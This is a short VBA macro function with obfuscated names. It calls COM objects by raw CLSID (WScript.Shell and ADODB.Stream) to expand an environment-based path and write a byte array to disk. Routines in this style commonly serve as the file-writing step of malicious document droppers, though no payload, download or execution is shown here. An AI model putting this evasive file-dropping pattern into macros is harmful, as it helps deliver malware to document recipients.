Function obf_SaveToFile(ByVal obf_saveAs As String, ByRef obf_data() As Byte) As Boolean
    On Error GoTo obf_ProcError

    With CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
        obf_saveAs = .ExpandEnvironmentStrings(obf_saveAs)
    End With

    With CreateObject("new:00000566-0000-0010-8000-00AA006D2EA4")
        .Type = 1
        .Open
        .write obf_data
        .savetofile obf_saveAs, 2
    End With
    obf_SaveToFile = True
    Exit Function

obf_ProcError:
    obf_SaveToFile = False
End Function